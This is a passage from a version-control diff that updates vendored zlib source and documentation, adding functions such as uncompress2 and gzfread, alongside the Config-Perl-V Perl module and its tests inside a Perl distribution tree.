    stream will keep attributes that may have been set by inflateInit2.
 
      inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
@@ -904,7 +969,9 @@
 /*
      This function is the same as inflateReset, but it also permits changing
    the wrap and window size requests.  The windowBits parameter is interpreted
-   the same as it is for inflateInit2.
+   the same as it is for inflateInit2.  If the window size is changed, then the
+   memory allocated for the window is freed, and the window will be reallocated
+   by inflate() if needed.
 
      inflateReset2 returns Z_OK if success, or Z_STREAM_ERROR if the source
    stream state was inconsistent (such as zalloc or state being Z_NULL), or if
@@ -956,7 +1023,7 @@
    location in the input stream can be determined from avail_in and data_type
    as noted in the description for the Z_BLOCK flush parameter for inflate.
 
-     inflateMark returns the value noted above or -1 << 16 if the provided
+     inflateMark returns the value noted above, or -65536 if the provided
    source stream state was inconsistent.
 */
 
@@ -1048,9 +1115,9 @@
    This routine would normally be used in a utility that reads zip or gzip
    files and writes out uncompressed files.  The utility would decode the
    header and process the trailer on its own, hence this routine expects only
-   the raw deflate stream to decompress.  This is different from the normal
-   behavior of inflate(), which expects either a zlib or gzip header and
-   trailer around the deflate stream.
+   the raw deflate stream to decompress.  This is different from the default
+   behavior of inflate(), which expects a zlib header and trailer around the
+   deflate stream.
 
      inflateBack() uses two subroutines supplied by the caller that are then
    called by inflateBack() for input and output.  inflateBack() calls those
@@ -1059,12 +1126,12 @@
    parameters and return types are defined above in the in_func and out_func
    typedefs.  inflateBack() will call in(in_desc, &buf) which should return the
    number of bytes of provided input, and a pointer to that input in buf.  If
-   there is no input available, in() must return zero--buf is ignored in that
-   case--and inflateBack() will return a buffer error.  inflateBack() will call
-   out(out_desc, buf, len) to write the uncompressed data buf[0..len-1].  out()
-   should return zero on success, or non-zero on failure.  If out() returns
-   non-zero, inflateBack() will return with an error.  Neither in() nor out()
-   are permitted to change the contents of the window provided to
+   there is no input available, in() must return zero -- buf is ignored in that
+   case -- and inflateBack() will return a buffer error.  inflateBack() will
+   call out(out_desc, buf, len) to write the uncompressed data buf[0..len-1].
+   out() should return zero on success, or non-zero on failure.  If out()
+   returns non-zero, inflateBack() will return with an error.  Neither in() nor
+   out() are permitted to change the contents of the window provided to
    inflateBackInit(), which is also the buffer that out() uses to write from.
    The length written by out() will be at most the window size.  Any non-zero
    amount of input may be provided by in().
@@ -1092,7 +1159,7 @@
    using strm->next_in which will be Z_NULL only if in() returned an error.  If
    strm->next_in is not Z_NULL, then the Z_BUF_ERROR was due to out() returning
    non-zero.  (in() will always be called before out(), so strm->next_in is
-   assured to be defined if out() returns non-zero.) Note that inflateBack()
+   assured to be defined if out() returns non-zero.)  Note that inflateBack()
    cannot return Z_OK.
 */
 
@@ -1114,7 +1181,7 @@
      7.6: size of z_off_t
 
     Compiler, assembler, and debug options:
-     8: DEBUG
+     8: ZLIB_DEBUG
      9: ASMV or ASMINF -- use ASM code
      10: ZLIB_WINAPI -- exported functions use the WINAPI calling convention
      11: 0 (reserved)
@@ -1164,7 +1231,8 @@
    the byte length of the source buffer.  Upon entry, destLen is the total size
    of the destination buffer, which must be at least the value returned by
    compressBound(sourceLen).  Upon exit, destLen is the actual size of the
-   compressed buffer.
+   compressed data.  compress() is equivalent to compress2() with a level
+   parameter of Z_DEFAULT_COMPRESSION.
 
      compress returns Z_OK if success, Z_MEM_ERROR if there was not
    enough memory, Z_BUF_ERROR if there was not enough room in the output
@@ -1180,7 +1248,7 @@
    length of the source buffer.  Upon entry, destLen is the total size of the
    destination buffer, which must be at least the value returned by
    compressBound(sourceLen).  Upon exit, destLen is the actual size of the
-   compressed buffer.
+   compressed data.
 
      compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
    memory, Z_BUF_ERROR if there was not enough room in the output buffer,
@@ -1203,7 +1271,7 @@
    uncompressed data.  (The size of the uncompressed data must have been saved
    previously by the compressor and transmitted to the decompressor by some
    mechanism outside the scope of this compression library.) Upon exit, destLen
-   is the actual size of the uncompressed buffer.
+   is the actual size of the uncompressed data.
 
      uncompress returns Z_OK if success, Z_MEM_ERROR if there was not
    enough memory, Z_BUF_ERROR if there was not enough room in the output
@@ -1212,6 +1280,14 @@
    buffer with the uncompressed data up to that point.
 */
 
+ZEXTERN int ZEXPORT uncompress2 OF((Bytef *dest,   uLongf *destLen,
+                                    const Bytef *source, uLong *sourceLen));
+/*
+     Same as uncompress, except that sourceLen is a pointer, where the
+   length of the source is *sourceLen.  On return, *sourceLen is the number of
+   source bytes consumed.
+*/
+
                         /* gzip file access functions */
 
 /*
@@ -1290,10 +1366,9 @@
    default buffer size is 8192 bytes.  This function must be called after
    gzopen() or gzdopen(), and before any other calls that read or write the
    file.  The buffer memory allocation is always deferred to the first read or
-   write.  Two buffers are allocated, either both of the specified size when
-   writing, or one of the specified size and the other twice that size when
-   reading.  A larger buffer size of, for example, 64K or 128K bytes will
-   noticeably increase the speed of decompression (reading).
+   write.  Three times that size in buffer space is allocated.  A larger buffer
+   size of, for example, 64K or 128K bytes will noticeably increase the speed
+   of decompression (reading).
 
      The new buffer size also affects the maximum length for gzprintf().
 
@@ -1304,10 +1379,12 @@
 ZEXTERN int ZEXPORT gzsetparams OF((gzFile file, int level, int strategy));
 /*
      Dynamically update the compression level or strategy.  See the description
-   of deflateInit2 for the meaning of these parameters.
+   of deflateInit2 for the meaning of these parameters.  Previously provided
+   data is flushed before the parameter change.
 
-     gzsetparams returns Z_OK if success, or Z_STREAM_ERROR if the file was not
-   opened for writing.
+     gzsetparams returns Z_OK if success, Z_STREAM_ERROR if the file was not
+   opened for writing, Z_ERRNO if there is an error writing the flushed data,
+   or Z_MEM_ERROR if there is a memory allocation error.
 */
 
 ZEXTERN int ZEXPORT gzread OF((gzFile file, voidp buf, unsigned len));
@@ -1335,9 +1412,37 @@
    case.
 
      gzread returns the number of uncompressed bytes actually read, less than
-   len for end of file, or -1 for error.
+   len for end of file, or -1 for error.  If len is too large to fit in an int,
+   then nothing is read, -1 is returned, and the error state is set to
+   Z_STREAM_ERROR.
 */
 
+ZEXTERN z_size_t ZEXPORT gzfread OF((voidp buf, z_size_t size, z_size_t nitems,
+                                     gzFile file));
+/*
+     Read up to nitems items of size size from file to buf, otherwise operating
+   as gzread() does.  This duplicates the interface of stdio's fread(), with
+   size_t request and return types.  If the library defines size_t, then
+   z_size_t is identical to size_t.  If not, then z_size_t is an unsigned
+   integer type that can contain a pointer.
+
+     gzfread() returns the number of full items read of size size, or zero if
+   the end of the file was reached and a full item could not be read, or if
+   there was an error.  gzerror() must be consulted if zero is returned in
+   order to determine if there was an error.  If the multiplication of size and
+   nitems overflows, i.e. the product does not fit in a z_size_t, then nothing
+   is read, zero is returned, and the error state is set to Z_STREAM_ERROR.
+
+     In the event that the end of file is reached and only a partial item is
+   available at the end, i.e. the remaining uncompressed data length is not a
+   multiple of size, then the final partial item is nevetheless read into buf
+   and the end-of-file flag is set.  The length of the partial item read is not
+   provided, but could be inferred from the result of gztell().  This behavior
+   is the same as the behavior of fread() implementations in common libraries,
+   but it prevents the direct use of gzfread() to read a concurrently written
+   file, reseting and retrying on end-of-file, when size is not 1.
+*/
+
 ZEXTERN int ZEXPORT gzwrite OF((gzFile file,
                                 voidpc buf, unsigned len));
 /*
@@ -1346,19 +1451,33 @@
    error.
 */
 
+ZEXTERN z_size_t ZEXPORT gzfwrite OF((voidpc buf, z_size_t size,
+                                      z_size_t nitems, gzFile file));
+/*
+     gzfwrite() writes nitems items of size size from buf to file, duplicating
+   the interface of stdio's fwrite(), with size_t request and return types.  If
+   the library defines size_t, then z_size_t is identical to size_t.  If not,
+   then z_size_t is an unsigned integer type that can contain a pointer.
+
+     gzfwrite() returns the number of full items written of size size, or zero
+   if there was an error.  If the multiplication of size and nitems overflows,
+   i.e. the product does not fit in a z_size_t, then nothing is written, zero
+   is returned, and the error state is set to Z_STREAM_ERROR.
+*/
+
 ZEXTERN int ZEXPORTVA gzprintf Z_ARG((gzFile file, const char *format, ...));
 /*
      Converts, formats, and writes the arguments to the compressed file under
    control of the format string, as in fprintf.  gzprintf returns the number of
-   uncompressed bytes actually written, or 0 in case of error.  The number of
-   uncompressed bytes written is limited to 8191, or one less than the buffer
-   size given to gzbuffer().  The caller should assure that this limit is not
-   exceeded.  If it is exceeded, then gzprintf() will return an error (0) with
-   nothing written.  In this case, there may also be a buffer overflow with
-   unpredictable consequences, which is possible only if zlib was compiled with
-   the insecure functions sprintf() or vsprintf() because the secure snprintf()
-   or vsnprintf() functions were not available.  This can be determined using
-   zlibCompileFlags().
+   uncompressed bytes actually written, or a negative zlib error code in case
+   of error.  The number of uncompressed bytes written is limited to 8191, or
+   one less than the buffer size given to gzbuffer().  The caller should assure
+   that this limit is not exceeded.  If it is exceeded, then gzprintf() will
+   return an error (0) with nothing written.  In this case, there may also be a
+   buffer overflow with unpredictable consequences, which is possible only if
+   zlib was compiled with the insecure functions sprintf() or vsprintf()
+   because the secure snprintf() or vsnprintf() functions were not available.
+   This can be determined using zlibCompileFlags().
 */
 
 ZEXTERN int ZEXPORT gzputs OF((gzFile file, const char *s));
@@ -1418,7 +1537,7 @@
      If the flush parameter is Z_FINISH, the remaining data is written and the
    gzip stream is completed in the output.  If gzwrite() is called again, a new
    gzip stream will be started in the output.  gzread() is able to read such
-   concatented gzip streams.
+   concatenated gzip streams.
 
      gzflush should be called only when strictly necessary because it will
    degrade compression if called too often.
@@ -1572,7 +1691,7 @@
    return the updated checksum.  If buf is Z_NULL, this function returns the
    required initial value for the checksum.
 
-     An Adler-32 checksum is almost as reliable as a CRC32 but can be computed
+     An Adler-32 checksum is almost as reliable as a CRC-32 but can be computed
    much faster.
 
    Usage example:
@@ -1585,7 +1704,13 @@
      if (adler != original_adler) error();
 */
 
+ZEXTERN uLong ZEXPORT adler32_z OF((uLong adler, const Bytef *buf,
+                                    z_size_t len));
 /*
+     Same as adler32(), but with a size_t length.
+*/
+
+/*
 ZEXTERN uLong ZEXPORT adler32_combine OF((uLong adler1, uLong adler2,
                                           z_off_t len2));
 
@@ -1614,7 +1739,13 @@
      if (crc != original_crc) error();
 */
 
+ZEXTERN uLong ZEXPORT crc32_z OF((uLong adler, const Bytef *buf,
+                                  z_size_t len));
 /*
+     Same as crc32(), but with a size_t length.
+*/
+
+/*
 ZEXTERN uLong ZEXPORT crc32_combine OF((uLong crc1, uLong crc2, z_off_t len2));
 
      Combine two CRC-32 check values into one.  For two sequences of bytes,
@@ -1644,19 +1775,35 @@
                                          unsigned char FAR *window,
                                          const char *version,
                                          int stream_size));
-#define deflateInit(strm, level) \
-        deflateInit_((strm), (level), ZLIB_VERSION, (int)sizeof(z_stream))
-#define inflateInit(strm) \
-        inflateInit_((strm), ZLIB_VERSION, (int)sizeof(z_stream))
-#define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \
-        deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\
-                      (strategy), ZLIB_VERSION, (int)sizeof(z_stream))
-#define inflateInit2(strm, windowBits) \
-        inflateInit2_((strm), (windowBits), ZLIB_VERSION, \
-                      (int)sizeof(z_stream))
-#define inflateBackInit(strm, windowBits, window) \
-        inflateBackInit_((strm), (windowBits), (window), \
-                      ZLIB_VERSION, (int)sizeof(z_stream))
+#ifdef Z_PREFIX_SET
+#  define z_deflateInit(strm, level) \
+          deflateInit_((strm), (level), ZLIB_VERSION, (int)sizeof(z_stream))
+#  define z_inflateInit(strm) \
+          inflateInit_((strm), ZLIB_VERSION, (int)sizeof(z_stream))
+#  define z_deflateInit2(strm, level, method, windowBits, memLevel, strategy) \
+          deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\
+                        (strategy), ZLIB_VERSION, (int)sizeof(z_stream))
+#  define z_inflateInit2(strm, windowBits) \
+          inflateInit2_((strm), (windowBits), ZLIB_VERSION, \
+                        (int)sizeof(z_stream))
+#  define z_inflateBackInit(strm, windowBits, window) \
+          inflateBackInit_((strm), (windowBits), (window), \
+                           ZLIB_VERSION, (int)sizeof(z_stream))
+#else
+#  define deflateInit(strm, level) \
+          deflateInit_((strm), (level), ZLIB_VERSION, (int)sizeof(z_stream))
+#  define inflateInit(strm) \
+          inflateInit_((strm), ZLIB_VERSION, (int)sizeof(z_stream))
+#  define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \
+          deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\
+                        (strategy), ZLIB_VERSION, (int)sizeof(z_stream))
+#  define inflateInit2(strm, windowBits) \
+          inflateInit2_((strm), (windowBits), ZLIB_VERSION, \
+                        (int)sizeof(z_stream))
+#  define inflateBackInit(strm, windowBits, window) \
+          inflateBackInit_((strm), (windowBits), (window), \
+                           ZLIB_VERSION, (int)sizeof(z_stream))
+#endif
 
 #ifndef Z_SOLO
 
@@ -1676,10 +1823,10 @@
 #ifdef Z_PREFIX_SET
 #  undef z_gzgetc
 #  define z_gzgetc(g) \
-          ((g)->have ? ((g)->have--, (g)->pos++, *((g)->next)++) : gzgetc(g))
+          ((g)->have ? ((g)->have--, (g)->pos++, *((g)->next)++) : (gzgetc)(g))
 #else
 #  define gzgetc(g) \
-          ((g)->have ? ((g)->have--, (g)->pos++, *((g)->next)++) : gzgetc(g))
+          ((g)->have ? ((g)->have--, (g)->pos++, *((g)->next)++) : (gzgetc)(g))
 #endif
 
 /* provide 64-bit offset functions if _LARGEFILE64_SOURCE defined, and/or
@@ -1737,19 +1884,16 @@
 
 #endif /* !Z_SOLO */
 
-/* hack for buggy compilers */
-#if !defined(ZUTIL_H) && !defined(NO_DUMMY_DECL)
-    struct internal_state {int dummy;};
-#endif
-
 /* undocumented functions */
 ZEXTERN const char   * ZEXPORT zError           OF((int));
 ZEXTERN int            ZEXPORT inflateSyncPoint OF((z_streamp));
 ZEXTERN const z_crc_t FAR * ZEXPORT get_crc_table    OF((void));
 ZEXTERN int            ZEXPORT inflateUndermine OF((z_streamp, int));
+ZEXTERN int            ZEXPORT inflateValidate OF((z_streamp, int));
+ZEXTERN unsigned long  ZEXPORT inflateCodesUsed OF ((z_streamp));
 ZEXTERN int            ZEXPORT inflateResetKeep OF((z_streamp));
 ZEXTERN int            ZEXPORT deflateResetKeep OF((z_streamp));
-#if defined(_WIN32) && !defined(Z_SOLO)
+#if (defined(_WIN32) || defined(__CYGWIN__)) && !defined(Z_SOLO)
 ZEXTERN gzFile         ZEXPORT gzopen_w OF((const wchar_t *path,
                                             const char *mode));
 #endif

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/zutil.c
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/zutil.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/zutil.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 /* zutil.c -- target dependent utility functions for the compression library
- * Copyright (C) 1995-2005, 2010, 2011, 2012 Jean-loup Gailly.
+ * Copyright (C) 1995-2017 Jean-loup Gailly
  * For conditions of distribution and use, see copyright notice in zlib.h
  */
 
@@ -10,21 +10,18 @@
 #  include "gzguts.h"
 #endif
 
-#ifndef NO_DUMMY_DECL
-struct internal_state      {int dummy;}; /* for buggy compilers */
-#endif
-
 z_const char * const z_errmsg[10] = {
-(char*)"need dictionary",     /* Z_NEED_DICT       2  */
-(char*)"stream end",          /* Z_STREAM_END      1  */
-(char*)"",                    /* Z_OK              0  */
-(char*)"file error",          /* Z_ERRNO         (-1) */
-(char*)"stream error",        /* Z_STREAM_ERROR  (-2) */
-(char*)"data error",          /* Z_DATA_ERROR    (-3) */
-(char*)"insufficient memory", /* Z_MEM_ERROR     (-4) */
-(char*)"buffer error",        /* Z_BUF_ERROR     (-5) */
-(char*)"incompatible version",/* Z_VERSION_ERROR (-6) */
-(char*)""};
+    (z_const char *)"need dictionary",     /* Z_NEED_DICT       2  */
+    (z_const char *)"stream end",          /* Z_STREAM_END      1  */
+    (z_const char *)"",                    /* Z_OK              0  */
+    (z_const char *)"file error",          /* Z_ERRNO         (-1) */
+    (z_const char *)"stream error",        /* Z_STREAM_ERROR  (-2) */
+    (z_const char *)"data error",          /* Z_DATA_ERROR    (-3) */
+    (z_const char *)"insufficient memory", /* Z_MEM_ERROR     (-4) */
+    (z_const char *)"buffer error",        /* Z_BUF_ERROR     (-5) */
+    (z_const char *)"incompatible version",/* Z_VERSION_ERROR (-6) */
+    (z_const char *)""
+};
 
 
 const char * ZEXPORT zlibVersion()
@@ -61,7 +58,7 @@
     case 8:     flags += 2 << 6;        break;
     default:    flags += 3 << 6;
     }
-#ifdef DEBUG
+#ifdef ZLIB_DEBUG
     flags += 1 << 8;
 #endif
 #if defined(ASMV) || defined(ASMINF)
@@ -115,8 +112,8 @@
     return flags;
 }
 
-#ifdef DEBUG
-
+#ifdef ZLIB_DEBUG
+#include <stdlib.h>
 #  ifndef verbose
 #    define verbose 0
 #  endif
@@ -219,9 +216,11 @@
 
 voidpf ZLIB_INTERNAL zcalloc (voidpf opaque, unsigned items, unsigned size)
 {
-    voidpf buf = opaque; /* just to make some compilers happy */
+    voidpf buf;
     ulg bsize = (ulg)items*size;
 
+    (void)opaque;
+
     /* If we allocate less than 65520 bytes, we assume that farmalloc
      * will return a usable pointer which doesn't have to be normalized.
      */
@@ -244,6 +243,9 @@
 void ZLIB_INTERNAL zcfree (voidpf opaque, voidpf ptr)
 {
     int n;
+
+    (void)opaque;
+
     if (*(ush*)&ptr != 0) { /* object < 64K */
         farfree(ptr);
         return;
@@ -259,7 +261,6 @@
         next_ptr--;
         return;
     }
-    ptr = opaque; /* just to make some compilers happy */
     Assert(0, "zcfree: ptr not found");
 }
 
@@ -278,13 +279,13 @@
 
 voidpf ZLIB_INTERNAL zcalloc (voidpf opaque, uInt items, uInt size)
 {
-    if (opaque) opaque = 0; /* to make compiler happy */
+    (void)opaque;
     return _halloc((long)items, size);
 }
 
 void ZLIB_INTERNAL zcfree (voidpf opaque, voidpf ptr)
 {
-    if (opaque) opaque = 0; /* to make compiler happy */
+    (void)opaque;
     _hfree(ptr);
 }
 
@@ -306,7 +307,7 @@
     unsigned items,
     unsigned size)
 {
-    if (opaque) items += size - size; /* make compiler happy */
+    (void)opaque;
     return sizeof(uInt) > 2 ? (voidpf)malloc(items * size) :
                               (voidpf)calloc(items, size);
 }
@@ -315,8 +316,8 @@
     voidpf opaque,
     voidpf ptr)
 {
+    (void)opaque;
     free(ptr);
-    if (opaque) return; /* make compiler happy */
 }
 
 #endif /* MY_ZCALLOC */

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/zutil.h
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/zutil.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/zutil.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 /* zutil.h -- internal interface and configuration of the compression library
- * Copyright (C) 1995-2013 Jean-loup Gailly.
+ * Copyright (C) 1995-2016 Jean-loup Gailly, Mark Adler
  * For conditions of distribution and use, see copyright notice in zlib.h
  */
 
@@ -40,7 +40,9 @@
 #ifndef local
 #  define local static
 #endif
-/* compile with -Dlocal if your debugger can't find static symbols */
+/* since "static" is used to mean two completely different things in C, we
+   define "local" for the non-static meaning of "static", for readability
+   (compile with -Dlocal if your debugger can't find static symbols) */
 
 typedef unsigned char  uch;
 typedef uch FAR uchf;
@@ -102,21 +104,31 @@
 #endif
 
 #ifdef AMIGA
-#  define OS_CODE  0x01
+#  define OS_CODE  1
 #endif
 
 #if defined(VAXC) || defined(VMS)
-#  define OS_CODE  0x02
+#  define OS_CODE  2
 #  define F_OPEN(name, mode) \
      fopen((name), (mode), "mbc=60", "ctx=stm", "rfm=fix", "mrs=512")
 #endif
 
+#ifdef __370__
+#  if __TARGET_LIB__ < 0x20000000
+#    define OS_CODE 4
+#  elif __TARGET_LIB__ < 0x40000000
+#    define OS_CODE 11
+#  else
+#    define OS_CODE 8
+#  endif
+#endif
+
 #if defined(ATARI) || defined(atarist)
-#  define OS_CODE  0x05
+#  define OS_CODE  5
 #endif
 
 #ifdef OS2
-#  define OS_CODE  0x06
+#  define OS_CODE  6
 #  if defined(M_I86) && !defined(Z_SOLO)
 #    include <malloc.h>
 #  endif
@@ -123,7 +135,7 @@
 #endif
 
 #if defined(MACOS) || defined(TARGET_OS_MAC)
-#  define OS_CODE  0x07
+#  define OS_CODE  7
 #  ifndef Z_SOLO
 #    if defined(__MWERKS__) && __dest_os != __be_os && __dest_os != __win32_os
 #      include <unix.h> /* for fdopen */
@@ -135,20 +147,26 @@
 #  endif
 #endif
 
-#ifdef TOPS20
-#  define OS_CODE  0x0a
+#ifdef __acorn
+#  define OS_CODE 13
 #endif
 
-#ifdef WIN32
-#  ifndef __CYGWIN__  /* Cygwin is Unix, not Win32 */
-#    define OS_CODE  0x0b
-#  endif
+#if defined(WIN32) && !defined(__CYGWIN__)
+#  define OS_CODE  10
 #endif
 
-#ifdef __50SERIES /* Prime/PRIMOS */
-#  define OS_CODE  0x0f
+#ifdef _BEOS_
+#  define OS_CODE  16
 #endif
 
+#ifdef __TOS_OS400__
+#  define OS_CODE 18
+#endif
+
+#ifdef __APPLE__
+#  define OS_CODE 19
+#endif
+
 #if defined(_BEOS_) || defined(RISCOS)
 #  define fdopen(fd,mode) NULL /* No fdopen() */
 #endif
@@ -181,7 +199,7 @@
         /* common defaults */
 
 #ifndef OS_CODE
-#  define OS_CODE  0x03  /* assume Unix */
+#  define OS_CODE  3     /* assume Unix */
 #endif
 
 #ifndef F_OPEN
@@ -220,7 +238,7 @@
 #endif
 
 /* Diagnostic functions */
-#ifdef DEBUG
+#ifdef ZLIB_DEBUG
 #  include <stdio.h>
    extern int ZLIB_INTERNAL z_verbose;
    extern void ZLIB_INTERNAL z_error OF((char *m));
@@ -256,6 +274,5 @@
 
 #ifdef __cplusplus
 }
-#endif
-
+#endif   
 #endif /* ZUTIL_H */

Modified: vendor/perl/dist/cpan/Config-Perl-V/V.pm
===================================================================
--- vendor/perl/dist/cpan/Config-Perl-V/V.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Config-Perl-V/V.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,7 +8,7 @@
 use Config;
 use Exporter;
 use vars qw($VERSION @ISA @EXPORT_OK %EXPORT_TAGS);
-$VERSION     = "0.28";
+$VERSION     = "0.29";
 @ISA         = qw( Exporter );
 @EXPORT_OK   = qw( plv2hash summary myconfig signature );
 %EXPORT_TAGS = (
@@ -310,8 +310,11 @@
 
 sub summary {
     my $conf = shift || myconfig ();
-    ref $conf eq "HASH" &&
-	exists $conf->{config} && exists $conf->{build} or return;
+    ref $conf eq "HASH"
+    && exists $conf->{config}
+    && exists $conf->{build}
+    && ref $conf->{config} eq "HASH"
+    && ref $conf->{build}  eq "HASH" or return;
 
     my %info = map {
 	exists $conf->{config}{$_} ? ( $_ => $conf->{config}{$_} ) : () }
@@ -328,10 +331,15 @@
     } # summary
 
 sub signature {
+    my $no_md5 = "0" x 32;
+    my $conf = summary (shift) or return $no_md5;
+
     eval { require Digest::MD5 };
-    $@ and return "00000000000000000000000000000000";
+    $@ and return $no_md5;
 
-    my $conf = shift || summary ();
+    $conf->{cc} =~ s{.*\bccache\s+}{};
+    $conf->{cc} =~ s{.*[/\\]}{};
+
     delete $conf->{config_args};
     return Digest::MD5::md5_hex (join "\xFF" => map {
 	"$_=".(defined $conf->{$_} ? $conf->{$_} : "\xFE");
@@ -546,7 +554,7 @@
 
 =head1 COPYRIGHT AND LICENSE
 
-Copyright (C) 2009-2016 H.Merijn Brand
+Copyright (C) 2009-2017 H.Merijn Brand
 
 This library is free software; you can redistribute it and/or modify
 it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Config-Perl-V/t/10_base.t
===================================================================
--- vendor/perl/dist/cpan/Config-Perl-V/t/10_base.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Config-Perl-V/t/10_base.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 BEGIN {
     use Test::More;
-    my $tests = 12;
+    my $tests = 42;
     unless ($ENV{PERL_CORE}) {
 	require Test::NoWarnings;
 	Test::NoWarnings->import ();
@@ -26,6 +26,19 @@
 ok (my $info2 = Config::Perl::V::summary,         "Get a summary for \$^X");
 is_deeply ($info1, $info2, "Info should match");
 
+ok (my $sig = Config::Perl::V::signature, "Get signature");
+like ($sig, qr{^[0-9a-f]{32}$}, "Valid md5");
+
+my $no_md5 = "0" x 32;
+ok (my $bad = Config::Perl::V::signature ({ cfg => 0 }), "Signature on invalid data");
+is ($bad, $no_md5, "Invalid md5");
+ok (   $bad = Config::Perl::V::signature ({ config => {} }), "Signature on incomplete data");
+is ($bad, $no_md5, "Invalid md5");
+ok (   $bad = Config::Perl::V::signature ({ config => 0, build => {} }), "Signature on invalid data");
+is ($bad, $no_md5, "Invalid md5");
+ok (   $bad = Config::Perl::V::signature ({ config => {}, build => 0 }), "Signature on invalid data");
+is ($bad, $no_md5, "Invalid md5");
+
 SKIP: {
     # Test that the code that shells out to perl -V and parses the output
     # gives the same results as the code that calls Config::* routines directly.
@@ -36,3 +49,24 @@
     is_deeply (Config::Perl::V::myconfig, $conf,
 	"perl -V parsing code produces same result as the Config module");
     }
+
+$ENV{CPV_TEST_ENV} = 42;
+ok ($conf = Config::Perl::V::myconfig ({ env => qr{^CPV_TEST_ENV$} }), "Read config plus ENV");
+ok (exists $conf->{$_},	"Has $_ entry") for qw( build environment config inc environment );
+ok (my $eh = $conf->{environment}, "Get ENV from conf");
+is ($eh->{CPV_TEST_ENV}, 42, "Valid entry");
+
+ok ($conf = Config::Perl::V::myconfig ([ env => qr{^CPV_TEST_ENV$} ]), "Read config plus ENV");
+ok (exists $conf->{$_},	"Has $_ entry") for qw( build environment config inc environment );
+ok ($eh = $conf->{environment}, "Get ENV from conf");
+is ($eh->{CPV_TEST_ENV}, 42, "Valid entry");
+
+ok ($conf = Config::Perl::V::myconfig (  env => qr{^CPV_TEST_ENV$}  ), "Read config invalid arguments");
+is ($conf->{environment}{CPV_TEST_ENV}, undef, "No entry");
+
+delete $INC{"Digest/MD5.pm"};
+delete $INC{"Digest/base.pm"};
+$INC{"Digest/MD5"} = "./flooble/blurgh/Digest/MD5.pm";
+local @INC = ("xyzzy$$"); # Should be unable to find Digest::MD5
+ok ($sig = Config::Perl::V::signature, "Get signature (No Digest::MD5)");
+is ($sig, $no_md5, "Valid md5");

Modified: vendor/perl/dist/cpan/Config-Perl-V/t/20_plv56.t
===================================================================
--- vendor/perl/dist/cpan/Config-Perl-V/t/20_plv56.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Config-Perl-V/t/20_plv56.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 BEGIN {
     use Test::More;
-    my $tests = 97;
+    my $tests = 99;
     unless ($ENV{PERL_CORE}) {
 	require Test::NoWarnings;
 	Test::NoWarnings->import ();
@@ -36,6 +36,11 @@
     is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
     }
 
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "9dc187182be100c1713f210a8c6d9f45";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
 __END__
 Summary of my perl5 (revision 5.0 version 6 subversion 2) configuration:
   Platform:

Modified: vendor/perl/dist/cpan/Config-Perl-V/t/21_plv58.t
===================================================================
--- vendor/perl/dist/cpan/Config-Perl-V/t/21_plv58.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Config-Perl-V/t/21_plv58.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 BEGIN {
     use Test::More;
-    my $tests = 97;
+    my $tests = 99;
     unless ($ENV{PERL_CORE}) {
 	require Test::NoWarnings;
 	Test::NoWarnings->import ();
@@ -39,6 +39,11 @@
     is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
     }
 
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "df48dce1adaaf63855d8acd455c51818";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
 __END__
 Summary of my perl5 (revision 5 version 8 subversion 9) configuration:
   Platform:

Modified: vendor/perl/dist/cpan/Config-Perl-V/t/22_plv510.t
===================================================================
--- vendor/perl/dist/cpan/Config-Perl-V/t/22_plv510.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Config-Perl-V/t/22_plv510.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 BEGIN {
     use Test::More;
-    my $tests = 96;
+    my $tests = 98;
     unless ($ENV{PERL_CORE}) {
 	require Test::NoWarnings;
 	Test::NoWarnings->import ();
@@ -29,6 +29,11 @@
     is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
     }
 
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "ce0a7871dfddbbed0a6c685c0f52dbf9";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
 __END__
 Summary of my perl5 (revision 5 version 10 subversion 0) configuration:
   Platform:

Modified: vendor/perl/dist/cpan/Config-Perl-V/t/23_plv512.t
===================================================================
--- vendor/perl/dist/cpan/Config-Perl-V/t/23_plv512.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Config-Perl-V/t/23_plv512.t	2018-12-22 22:55:19 UTC (rev 12126)
